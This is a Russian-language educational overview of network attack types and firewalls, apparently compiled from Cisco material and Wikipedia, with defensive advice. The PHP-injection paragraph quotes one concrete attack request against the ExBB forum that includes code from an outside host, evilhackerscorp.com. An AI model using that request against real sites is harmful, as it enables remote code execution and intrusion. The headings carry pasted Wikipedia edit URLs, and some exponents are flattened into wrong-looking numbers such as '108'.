• Ограничение объема трафика (traffic rate limiting). Организация может попросить провайдера (ISP) ограничить объем трафика. Этот тип фильтрации позволяет ограничить объем некритического трафика, проходящего по вашей сети. Типичным примером является ограничение объемов трафика ICMP, который используется только для диагностических целей. Атаки (D)DoS часто используют ICMP.

Парольные атаки

Хакеры могут проводить парольные атаки с помощью целого ряда методов, таких как простой перебор (brute force attack), троянский конь, IP-спуфинг и сниффинг пакетов. Хотя логин и пароль зачастую можно получить при помощи IP-спуфинга и сниффинга пакетов, хакеры нередко пытаются подобрать пароль и логин, используя для этого многочисленные попытки доступа. Такой подход носит название простого перебора (brute force attack).

Часто для такой атаки используется специальная программа, которая пытается получить доступ к ресурсу общего пользования (например, к серверу). Если в результате хакеру предоставляется доступ к ресурсам, то он получает его на правах обычного пользователя, пароль которого был подобран. Если этот пользователь имеет значительные привилегии доступа, хакер может создать себе «проход» для будущего доступа, который будет действовать, даже если пользователь изменит свои пароль и логин.

Еще одна проблема возникает, когда пользователи применяют один и тот же (пусть даже очень хороший) пароль для доступа ко многим системам: к корпоративной, персональной и к системам Интернета. Поскольку устойчивость пароля равна устойчивости самого слабого хоста, то хакер, узнавший пароль через этот хост, получает доступ ко всем остальным системам, где используется тот же пароль.

Парольных атак можно избежать, если не пользоваться паролями в текстовой форме. Одноразовые пароли и/или криптографическая аутентификация могут практически свести на нет угрозу таких атак. К сожалению, не все приложения, хосты и устройства поддерживают вышеуказанные методы аутентификации.

При использовании обычных паролей старайтесь придумать такой, который было бы трудно подобрать. Минимальная длина пароля должна быть не менее восьми символов. Пароль должен включать символы верхнего регистра, цифры и специальные символы (#, %, $ и т.д.). Лучшие пароли трудно подобрать и трудно запомнить, что вынуждает пользователей записывать их на бумаге. Чтобы избежать этого, пользователи и администраторы могут использовать ряд последних технологических достижений. Так, например, существуют прикладные программы, шифрующие список паролей, который можно хранить в карманном компьютере. В результате пользователю нужно помнить только один сложный пароль, тогда как все остальные будут надежно защищены приложением. Для администратора существует несколько методов борьбы с подбором паролей. Один из них заключается в использовании средства L0phtCrack, которое часто применяют хакеры для подбора паролей в среде Windows NT. Это средство быстро покажет вам, легко ли подобрать пароль, выбранный пользователем. Дополнительную информацию можно получить по адресу http://www.l0phtcrack.com/.

Атаки типа Man-in-the-Middle

Для атаки типа Man-in-the-Middle хакеру нужен доступ к пакетам, передаваемым по сети. Такой доступ ко всем пакетам, передаваемым от провайдера в любую другую сеть, может, к примеру, получить сотрудник этого провайдера. Для атак данного типа часто используются снифферы пакетов, транспортные протоколы и протоколы маршрутизации. Атаки проводятся с целью кражи информации, перехвата текущей сессии и получения доступа к частным сетевым ресурсам, для анализа трафика и получения информации о сети и ее пользователях, для проведения атак типа DoS, искажения передаваемых данных и ввода несанкционированной информации в сетевые сессии.

Эффективно бороться с атаками типа Man-in-the-Middle можно только с помощью криптографии. Если хакер перехватит данные зашифрованной сессии, у него на экране появится не перехваченное сообщение, а бессмысленный набор символов. Отметим, что если хакер получит информацию о криптографической сессии (например, ключ сессии), то это может сделать возможной атаку Man-in-the-Middle даже в зашифрованной среде.

Атаки на уровне приложений

Атаки на уровне приложений могут проводиться несколькими способами. Самый распространенный из них — использование хорошо известных слабостей серверного программного обеспечения (sendmail, HTTP, FTP). Используя эти слабости, хакеры могут получить доступ к компьютеру от имени пользователя, работающего с приложением (обычно это бывает не простой пользователь, а привилегированный администратор с правами системного доступа). Сведения об атаках на уровне приложений широко публикуются, чтобы дать администраторам возможность ис проблему с помощью коррекционных модулей (патчей). К сожалению, многие хакеры также имеют доступ к этим сведениям, что позволяет им совершенствоваться.

Главная проблема при атаках на уровне приложений заключается в том, что хакеры часто пользуются портами, которым разрешен проход через межсетевой экран. К примеру, хакер, эксплуатирующий известную слабость Web-сервера, часто использует в ходе атаки ТСР порт 80. Поскольку web-сервер предоставляет пользователям Web-страницы, то межсетевой экран должен обеспечивать доступ к этому порту. С точки зрения межсетевого экрана атака рассматривается как стандартный трафик для порта 80.

Полностью исключить атаки на уровне приложений невозможно. Хакеры постоянно открывают и публикуют в Интернете новые уязвимые места прикладных программ. Самое главное здесь — хорошее системное администрирование. Вот некоторые меры, которые можно предпринять, чтобы снизить уязвимость для атак этого типа:

• читайте лог-файлы операционных систем и сетевые лог-файлы и/или анализируйте их с помощью специальных аналитических приложений;

• подпишитесь на услуги по рассылке данных о слабых местах прикладных программ: Bugtrad (http://www.securityfocus.com) и CERT (http://www.cert.com);

Сетевая разведка

Сетевой разведкой называется сбор информации о сети с помощью общедоступных данных и приложений. При подготовке атаки против какой-либо сети хакер, как правило, пытается получить о ней как можно больше информации. Сетевая разведка проводится в форме запросов DNS, эхо-тестирования и сканирования портов. Запросы DNS помогают понять, кто владеет тем или иным доменом и какие адреса этому домену присвоены. Эхо-тестирование адресов, раскрытых с помощью DNS, позволяет увидеть, какие хосты реально работают в данной среде. Получив список хостов, хакер использует средства сканирования портов, чтобы составить полный список услуг, поддерживаемых этими хостами. И наконец, хакер анализирует характеристики приложений, работающих на хостах. В результате он добывает информацию, которую можно использовать для взлома.

Полностью избавиться от сетевой разведки невозможно. Если, к примеру, отключить эхо ICMP и эхо-ответ на периферийных маршрутизаторах, то вы избавитесь от эхо-тестирования, но потеряете данные, необходимые для диагностики сетевых сбоев. Кроме того, сканировать порты можно и без предварительного эхо-тестирования — просто это займет больше времени, так как сканировать придется и несуществующие IP-адреса. Системы IDS на уровне сети и хостов обычно хорошо справляются с задачей уведомления администратора о ведущейся сетевой разведке, что позволяет лучше подготовиться к предстоящей атаке и оповестить провайдера (ISP), в сети которого установлена система, проявляющая чрезмерное любопытство.

• пользуйтесь самыми свежими версиями операционных систем и приложений и самыми последними коррекционными модулями (патчами);

• кроме системного администрирования, пользуйтесь системами распознавания атак (IDS) — двумя взаимодополняющими друг друга технологиями IDS:

- сетевая система IDS (NIDS) отслеживает все пакеты, проходящие через определенный домен. Когда система NIDS видит пакет или серию пакетов, совпадающих с сигнатурой известной или вероятной атаки, она генерирует сигнал тревоги и/или прекращает сессию;

- хост-система IDS (HIDS) защищает хост с помощью программных агентов. Эта система борется только с атаками против одного хоста.

В своей работе системы IDS пользуются сигнатурами атак, которые представляют собой профили конкретных атак или типов атак. Сигнатуры определяют условия, при которых трафик считается хакерским. Аналогами IDS в физическом мире можно считать систему предупреждения или камеру наблюдения. Самым большим недостатком IDS является их способность генерировать сигналы тревоги. Чтобы минимизировать количество ложных сигналов тревоги и добиться корректного функционирования системы IDS в сети, необходима тщательная настройка этой системы.

Злоупотребление доверием

Собственно говоря, этот тип действий не является в полном смысле слова атакой или штурмом. Он представляет собой злонамеренное использование отношений доверия, существующих в сети. Классическим примером такого злоупотребления является ситуация в периферийной части корпоративной сети. В этом сегменте часто располагаются серверы DNS, SMTP и HTTP. Поскольку все они принадлежат к одному и тому же сегменту, взлом любого из них приводит к взлому всех остальных, так как эти серверы доверяют другим системам своей сети. Другим примером является установленная с внешней стороны межсетевого экрана система, имеющая отношения доверия с системой, установленной с его внутренней стороны. В случае взлома внешней системы хакер может использовать отношения доверия для проникновения в систему, защищенную межсетевым экраном.

Риск злоупотребления доверием можно снизить за счет более жесткого контроля уровней доверия в пределах своей сети. Системы, расположенные с внешней стороны межсетевого экрана, ни при каких условиях не должны пользоваться абсолютным доверием со стороны защищенных экраном систем. Отношения доверия должны ограничиваться определенными протоколами и, по возможности, аутентифицироваться не только по IP-адресам, но и по другим параметрам.

Переадресация портов

Переадресация портов представляет собой разновидность злоупотребления доверием, когда взломанный хост используется для передачи через межсетевой экран трафика, который в противном случае был бы обязательно отбракован. Представим себе межсетевой экран с тремя интерфейсами, к каждому из которых подключен определенный хост. Внешний хост может подключаться к хосту общего доступа (DMZ), но не к тому, что установлен с внутренней стороны межсетевого экрана. Хост общего доступа может подключаться и к внутреннему, и к внешнему хосту. Если хакер захватит хост общего доступа, он сможет установить на нем программное средство, перенаправляющее трафик с внешнего хоста прямо на внутренний. Хотя при этом не нарушается ни одно правило, действующее на экране, внешний хост в результате переадресации получает прямой доступ к защищенному хосту. Примером приложения, которое может предоставить такой доступ, является netcat. Более подробную информацию можно получить на сайте http://www.avian.org.

Основным способом борьбы с переадресацией портов является использование надежных моделей доверия (см. предыдущий раздел). Кроме того, помешать хакеру установить на хосте свои программные средства может хост-система IDS (HIDS).

Несанкционированный доступ

Несанкционированный доступ не может быть выделен в отдельный тип атаки, поскольку большинство сетевых атак проводятся именно ради получения несанкционированного доступа. Чтобы подобрать логин Тelnet, хакер должен сначала получить подсказку Тelnet на своей системе. После подключения к порту Тelnet на экране появляется сообщение «authorization required to use this resource» («Для пользования этим ресурсом нужна авторизация»). Если после этого хакер продолжит попытки доступа, они будут считаться несанкционированными. Источник таких атак может находиться как внутри сети, так и снаружи.

Способы борьбы с несанкционированным доступом достаточно просты. Главным здесь является сокращение или полная ликвидация возможностей хакера по получению доступа к системе с помощью несанкционированного протокола. В качестве примера можно рассмотреть недопущение хакерского доступа к порту Telnet на сервере, который предоставляет Web-услуги внешним пользователям. Не имея доступа к этому порту, хакер не сможет его атаковать. Что же касается межсетевого экрана, то его основной задачей является предотвращение самых простых попыток несанкционированного доступа.

Вирусы и приложения типа «троянский конь»

Рабочие станции конечных пользователей очень уязвимы для вирусов и троянских коней. Вирусами называются вредоносные программы, которые внедряются в другие программы для выполнения определенной нежелательной функции на рабочей станции конечного пользователя. В качестве примера можно привести вирус, который прописывается в файле command.com (главном интерпретаторе систем Windows) и стирает другие файлы, а также заражает все другие найденные им версии command.com.

Троянский конь — это не программная вставка, а настоящая программа, которая на первый взгляд кажется полезным приложением, а на деле исполняет вредную роль. Примером типичного троянского коня является программа, которая выглядит, как простая игра для рабочей станции пользователя. Однако пока пользователь играет в игру, программа отправляет свою копию по электронной почте каждому абоненту, занесенному в адресную книгу этого пользователя. Все абоненты получают по почте игру, вызывая ее дальнейшее распространение.

Борьба с вирусами и троянскими конями ведется с помощью эффективного антивирусного программного обеспечения, работающего на пользовательском уровне и, возможно, на уровне сети. Антивирусные средства обнаруживают большинство вирусов и троянских коней и пресекают их распространение. Получение самой свежей информации о вирусах поможет бороться с ними более эффективно. По мере появления новых вирусов и троянских коней предприятие должно устанавливать новые версии антивирусных средств и приложений.

При написании статьи использованы материалы, предоставленные компанией Cisco Systems (www.cisco.com). 

7.10.2 Хакерская атака Материал из Википедии

Хакерская атака в узком смысле слова — в настоящее время под словосочетанием понимается «Покушение на систему безопасности», и склоняется скорее к смыслу следующего термина Крэкерская атака. Это произошло из-за искажения смысла самого слова «хакер».

Хакерская атака в широком смысле слова (изначальный смысл) — мозговой штурм, направленный на нахождение пути решения сложных задач. В хакерской атаке могут принимать участие один или несколько высококлассных специалистов (хакеров). В результате мозгового штурма могут быть придуманы нетрадиционные методы решения проблемы, или внесены оптимизирующие корректировки в уже существующие методы.

Крэкерская атака — действие, целью которого является захват контроля (повышение прав) над удалённой/локальной вычислительной системой, либо её дестабилизация, либо отказ в обслуживании.

Изначально причиной атак послужил ряд ограничений, присущих протоколу TCP/IP. В ранних версиях протокола IP отсутствовали требования безопасности, которые появились только спустя несколько лет. Но только с бурным развитием интернет-коммерции проблема стала актуальной, и пришлось в сжатые сроки внедрять стандарты безопасности.

7.10.2.1 Mailbombing
Считается самым старым методом атак, хотя суть его проста и примитивна: большое количество почтовых сообщений делают невозможными работу с почтовыми ящиками, а иногда и с целыми почтовыми серверами. Для этой цели было разработано множество программ, и даже неопытный пользователь мог совершить атаку, указав всего лишь e-mail жертвы, текст сообщения, и количество необходимых сообщений. Многие такие программы позволяли прятать реальный IP-адрес отправителя, используя для рассылки анонимный почтовый сервер. Эту атаку легко предотвратить, так как большинство провайдеров имеют хорошие фильтры защиты от рассылки спама. Провайдер может ограничить количество писем от одного отправителя, и такая атака становится неэффективной.

7.10.2.2 Подбор пароля
Следующий вид атаки тоже прост. Взломщик подбирает пароли к системам ограничения доступа. Ведь вполне очевидно, что пользователи вычислительных систем обычно не в состоянии держать в уме комбинации из букв, цифр и знаков длиной до ста символов. Среднестатистический пароль для доступа к системе обычно не превышает восьми символов, а иногда в качестве пароля вообще используется слово или дата.

При использовании даты всё просто, так как восемь цифр — это всего лишь 108=100 000 000 возможных комбинаций, причём либо первые либо последние 4 цифры обозначают год, и находятся где-то в промежутке между 1900 и 2050. Две другие цифры обозначают месяц, то есть принимают значения от 1 до 12. Оставшиеся цифры принимают значения от 1 до 31 — дни месяца. Здесь же можно исключить даты типа 3102 (31 февраля), так как такие даты используются крайне редко. При отсутствии защиты от перебора паролей подобрать кодовую дату для средней программы не составит труда: при переборе около 100 паролей в секунду (не проблема даже для медленного компьютера) это займет чуть больше одиннадцати суток.

Для фраз всё несколько сложнее, так как если даже взять английский алфавит из 26 букв (русский — 33 буквы), то фраза из восьми символов будет состоять уже из 268=208 827 064 576 вариантов (338=1 406 408 618 241 вариантов для русского языка), что уже в тысячи раз сложнее. Но тут на помощь приходит смекалка: вряд ли пользователь будет запоминать случайные последовательности символов, то есть достаточно перебрать всего лишь все существующие слова в английском словаре, которых там наберется не более 200 000, включая жаргон и редкие слова, а это уже в миллион раз проще. Кроме того, если начать думать ещё внимательнее — большинство горожан, да к тому же работающих в определенной сфере, имеют гораздо меньше слов в своем лексиконе, что снижает количество возможных вариантов ещё на порядок. Также можно принять во внимание, что в качестве паролей могут использоваться имена родственников, домашних животных, названия городов.

Тем не менее, нет никаких оснований рассчитывать на столь лёгкий способ получения пароля. В настоящее время большинство пользователей (и тем более системные администраторы коммерческих компаний) используют в качестве пароля случайные последовательности из больших и маленьких латинских символов вперемежку с цифрами. Существует несколько способов создания (и запоминания) надёжного пароля. Например, из первых букв фразы «у лукоморья дуб зелёный, златая цепь на дубе том» получается 9-буквенный пароль улдззцндт, на подбор которого уйдет несколько триллионов попыток.

7.10.2.3 Переполнение буфера
Пожалуй один из самых распространенных типов атак в Интернете. Принцип данной атаки построен на использовании программных ошибок, позволяющих вызвать нарушение границ памяти и аварийно завершить приложение или выполнить произвольный бинарный код от имени пользователя под которым работала уязвимая программа. Если программа работает под учетной записью администратора системы, то данная атака позволит получить полный контроль над компьютером жертвы, поэтому рекомендуется работать под учетной записью рядового пользователя имеющего ограниченные права на системе, а под учетной записью администратора системы выполнять только операции требующие административные права.

7.10.2.4 Вирусы, троянские кони, почтовые черви, снифферы, Rootkit-ы и другие специальные программы
Следующий вид атаки представляет собой более изощренный метод получения доступа к закрытой информации — это использование специальных программ для ведения работы на компьютере жертвы. Такие программы предназначены для поиска и передачи своему владельцу секретной информации, либо просто для нанесения вреда системе безопасности и работоспособности компьютера жертвы. Принципы действия этих программ различны, поэтому мы не будем рассматривать их в этой статье.

7.10.2.5 Сетевая разведка
В ходе такой атаки кракер собственно не производит никаких деструктивных действий, но в результате он может получить закрытую информацию о построении и принципах функционирования вычислительной системы жертвы. Полученная информация может быть использована для грамотного построения предстоящей атаки, и обычно производится на подготовительных этапах.

В ходе такой разведки злоумышленник может производить сканирование портов, запросы DNS, эхо-тестирование открытых портов, наличие и защищённость прокси-серверов. В результате можно получить информацию о существующих в системе DNS-адресах, кому они принадлежат, какие сервисы на них доступны, уровень доступа к этим сервисам для внешних и внутренних пользователей.

7.10.2.6 http://ru.wikipedia.org/w/index.php?title=%D0%A5%D0%B0%D0%BA%D0%B5%D1%80%D1%81%D0%BA%D0%B0%D1%8F_%D0%B0%D1%82%D0%B0%D0%BA%D0%B0&action=edit&section=6 Сниффинг пакетов
Также довольно распространенный вид атаки, основанный на работе сетевой карты в режиме promiscuous mode, а также monitor mode для сетей Wi-Fi. В таком режиме все пакеты, полученные сетевой картой, пересылаются на обработку специальному приложению, называемым сниффером, для обработки. В результате злоумышленник может получить большое количество служебной информации: кто откуда куда передавал пакеты, через какие адреса эти пакеты проходили. Самой большой опасностью такой атаки является получение самой информации, например логинов и паролей сотрудников, которые можно использовать для незаконного проникновения в систему под видом обычного сотрудника компании.

7.10.2.7 http://ru.wikipedia.org/w/index.php?title=%D0%A5%D0%B0%D0%BA%D0%B5%D1%80%D1%81%D0%BA%D0%B0%D1%8F_%D0%B0%D1%82%D0%B0%D0%BA%D0%B0&action=edit&section=7 IP-спуфинг
Тоже распространенный вид атаки в недостаточно защищённых сетях, когда злоумышленник выдает себя за санкционированного пользователя, находясь в самой организации, или за её пределами. Для этого кракеру необходимо воспользоваться IP-адресом, разрешённым в системе безопасности сети. Такая атака возможна, если система безопасности позволяет идентификацию пользователя только по IP-адресу и не требует дополнительных подтверждений .

7.10.2.8 http://ru.wikipedia.org/w/index.php?title=%D0%A5%D0%B0%D0%BA%D0%B5%D1%80%D1%81%D0%BA%D0%B0%D1%8F_%D0%B0%D1%82%D0%B0%D0%BA%D0%B0&action=edit&section=8 Man-in-the-Middle
англ. «Человек посередине». Вид атаки, когда злоумышленник перехватывает канал связи между двумя системами, и получает доступ ко всей передаваемой информации. При получении доступа на таком уровне крякер может модифицировать информацию нужным ему образом, чтобы достичь своих целей. Цель такой атаки — кража или фальсифицирование передаваемой информации, или же получение доступа к ресурсам сети. Такие атаки крайне сложно отследить, так как обычно злоумышленник находится внутри организации.

7.10.2.9 http://ru.wikipedia.org/w/index.php?title=%D0%A5%D0%B0%D0%BA%D0%B5%D1%80%D1%81%D0%BA%D0%B0%D1%8F_%D0%B0%D1%82%D0%B0%D0%BA%D0%B0&action=edit&section=9 Инъекция
Атака, связанная с различного рода инъекциями, подразумевает внедрение сторонних команд или данных в работающую систему с целью изменения хода работы системы, а в результате — получение доступа к закрытым функциям и информации, либо дестабилизации работы системы в целом. Наиболее популярна такая атака в сети Интернет, но также может быть проведена через командную строку системы.

SQL-инъекция — атака, в ходе которой изменяются параметры SQL-запросов к базе данных. В результате запрос приобретает совершенно иной смысл, и в случае недостаточной фильтрации входных данных способен не только произвести вывод конфиденциальной информации, но и изменить/удалить данные. Очень часто такой вид атаки можно наблюдать на примере сайтов, которые используют параметры командной строки (в данном случае — переменные URL) для построения SQL-запросов к базам данных без соответствующей проверки.

PHP-инъекция — один из способов взлома веб-сайтов, работающих на PHP. Он заключается в том, чтобы внедрить специально сформированный злонамеренный сценарий в код веб-приложения на серверной стороне сайта, что приводит к выполнению произвольных команд. Известно, что во многих распространённых в интернете бесплатных движках и форумах, работающих на PHP (чаще всего это устаревшие версии) есть непродуманные модули или отдельные конструкции с уязвимостями. Крэкеры анализируют такие уязвимости , как неэкранированные переменные, получающие внешние значения, например старая уязвимость форума ExBB используется хакерами запросом: GET //modules/threadstop/threadstop.php?new_exbb[home_path]=evilhackerscorp.com/tx.txt????? .

Межсайтовый скриптинг или XSS (аббр. от англ. Cross Site Scripting) — тип уязвимостей, обычно обнаруживаемых в веб-приложениях, которые позволяют внедрять код злонамеренным пользователям в веб-страницы, просматриваемые другими пользователями. Примерами такого кода являются HTML-код и скрипты, выполняющиеся на стороне клиента, чаще всего JavaScript. Другие названия: CSS, реже — скрипт-инъекция.

XPath-инъекция - вид уязвимостей, который заключается во внедрении XPath-выражений в оригинальный запрос к базе данных XML. Как и при остальных видах инъекций, уязвимость возможна ввиду недостаточной проверки входных данных.

7.10.2.10 http://ru.wikipedia.org/w/index.php?title=%D0%A5%D0%B0%D0%BA%D0%B5%D1%80%D1%81%D0%BA%D0%B0%D1%8F_%D0%B0%D1%82%D0%B0%D0%BA%D0%B0&action=edit&section=11 Социальная инженерия
Социальная инженерия (от англ. Social Engineering) — использование некомпетентности, непрофессионализма или небрежности персонала для получения доступа к информации. Этот метод обычно применяется без компьютера, с использованием обычного телефона, почтовой переписки либо кружечки пива. Таким образом обычно получается самая разнообразная информация. В ходе такой атаки злоумышленник устанавливает контакт с жертвой, и, вводя её в заблуждение либо войдя в доверие, пытается получить необходимые сведения, которые сложно получить другим путём, либо другие пути являются более рискованными. Как гласит старая поговорка, «Самое слабое звено системы безопасности — Человек».

7.10.2.11 Отказ в обслуживании
DoS (от англ. Denial of Service — Отказ в обслуживании) — атака, имеющая своей целью заставить сервер не отвечать на запросы. Такой вид атаки не подразумевает получение некоторой секретной информации, но иногда бывает подспорьем в инициализации других атак. Например, некоторые программы из-за ошибок в своем коде могут вызывать исключительные ситуации, и при отключении сервисов способны исполнять код, предоставленный злоумышленником или атаки лавинного типа, когда сервер не может обработать огромное количество входящих пакетов.

DDoS (от англ. Distributed Denial of Service — Распределенная DoS) — подтип DoS атаки, имеющий ту же цель что и DoS, но производимой не с одного компьютера, а с нескольких компьютеров в сети. В данных типах атак используется либо возникновение ошибок, приводящих к отказу сервиса, либо срабатывание защиты, приводящей к блокированию работы сервиса, а в результате также к отказу в обслуживании. DDoS используется там, где обычный DoS неэффективен. Для этого несколько компьютеров объединяются, и каждый производит DoS атаку на систему жертвы. Вместе это называется DDoS-атака.

Любая атака представляет собой не что иное, как попытку использовать несовершенство системы безопасности жертвы либо для получения информации, либо для нанесения вреда системе, поэтому причиной любой удачной атаки является профессионализм крякера и ценность информации, а так же недостаточная компетенция администратора системы безопасности в частности, несовершенство программного обеспечения, и недостаточное внимание к вопросам безопасности в компании в принципе.

7.10.3 Сетевые экраны
Межсетевой экран или сетевой экран (также брандмауэр или файервол) — комплекс аппаратных или программных средств, осуществляющий контроль и фильтрацию проходящих через него сетевых пакетов на различных уровнях модели OSI в соответствии с заданными правилами.

Основной задачей сетевого экрана является защита компьютерных сетей или отдельных узлов от несанкционированного доступа. Также сетевые экраны часто называют фильтрами, так как их основная задача — не пропускать (фильтровать) пакеты, не подходящие под критерии, определённые в конфигурации.

Некоторые сетевые экраны также позволяют осуществлять трансляцию адресов — динамическую замену адресов назначения редиректы или источника мапинг, biNAT, NAT.

7.10.3.1 Другие названия
Брандма́уэр (нем. Brandmauer) — заимствованный из немецкого языка термин, являющийся аналогом английского firewall в его оригинальном значении (стена, которая разделяет смежные здания, предохраняя от распространения пожара). Интересно, что в области компьютерных технологий в немецком языке употребляется слово «firewall».

Файрво́л, файерво́л, фаерво́л — образовано транслитерацией английского термина firewall, эквивалентного термину межсетевой экран, в настоящее время не является официальным заимствованным словом в русском языке.

7.10.3.2 Разновидности сетевых экранов
Сетевые экраны подразделяются на различные типы в зависимости от следующих характеристик:

· обеспечивает ли экран соединение между одним узлом и сетью или между двумя или более различными сетями; 

· происходит ли контроль потока данных на сетевом уровне или более высоких уровнях модели OSI; 

· отслеживаются ли состояния активных соединений или нет. 

В зависимости от охвата контролируемых потоков данных сетевые экраны делятся на:

· традиционный сетевой (или межсетевой) экран — программа (или неотъемлемая часть операционной системы) на шлюзе (сервере передающем трафик между сетями) или аппаратное решение, контролирующие входящие и исходящие потоки данных между подключенными сетями. 

· персональный сетевой экран — программа, установленная на пользовательском компьютере и предназначенная для защиты от несанкционированного доступа только этого компьютера. 

Вырожденный случай — использование традиционного сетевого экрана сервером, для ограничения доступа к собственным ресурсам.

В зависимости от уровня, на котором происходит контроль доступа, существует разделение на сетевые экраны, работающие на:

· сетевом уровне, когда фильтрация происходит на основе адресов отправителя и получателя пакетов, номеров портов транспортного уровня модели OSI и статических правил, заданных администратором; 

· сеансовом уровне (также известные как stateful) — отслеживающие сеансы между приложениями, не пропускающие пакеты нарушающих спецификации TCP/IP, часто используемых в злонамеренных операциях — сканировании ресурсов, взломах через неправильные реализации TCP/IP, обрыв/замедление соединений, инъекция данных. 

· уровне приложений, фильтрация на основании анализа данных приложения, передаваемых внутри пакета. Такие типы экранов позволяют блокировать передачу нежелательной и потенциально опасной информации, на основании политик и настроек. 

Некоторые решения, относимые к сетевым экранам уровня приложения, представляют собой прокси-серверы с некоторыми возможностями сетевого экрана, реализуя прозрачные прокси-серверы, со специализацией по протоколам. Возможности прокси-сервера и многопротокольная специализация делают фильтрацию значительно более гибкой, чем на классических сетевых экранах, но такие приложения имеют все недостатки прокси-серверов (например, анонимизация трафика). 

В зависимости от отслеживания активных соединений сетевые экраны бывают:

· stateless (простая фильтрация), которые не отслеживают текущие соединения (например, TCP), а фильтруют поток данных исключительно на основе статических правил; 

· stateful, stateful packet inspection (SPI) (фильтрация с учётом контекста), с отслеживанием текущих соединений и пропуском только таких пакетов, которые удовлетворяют логике и алгоритмам работы соответствующих протоколов и приложений. Такие типы сетевых экранов позволяют эффективнее бороться с различными видами DoS-атак и уязвимостями некоторых сетевых протоколов. Кроме того, они обеспечивают функционирование таких протоколов, как H.323, SIP, FTP и т. п., которые используют сложные схемы передачи данных между адресатами, плохо поддающиеся описанию статическими правилами, и, зачастую, несовместимых со стандартными, stateless сетевыми экранами. 
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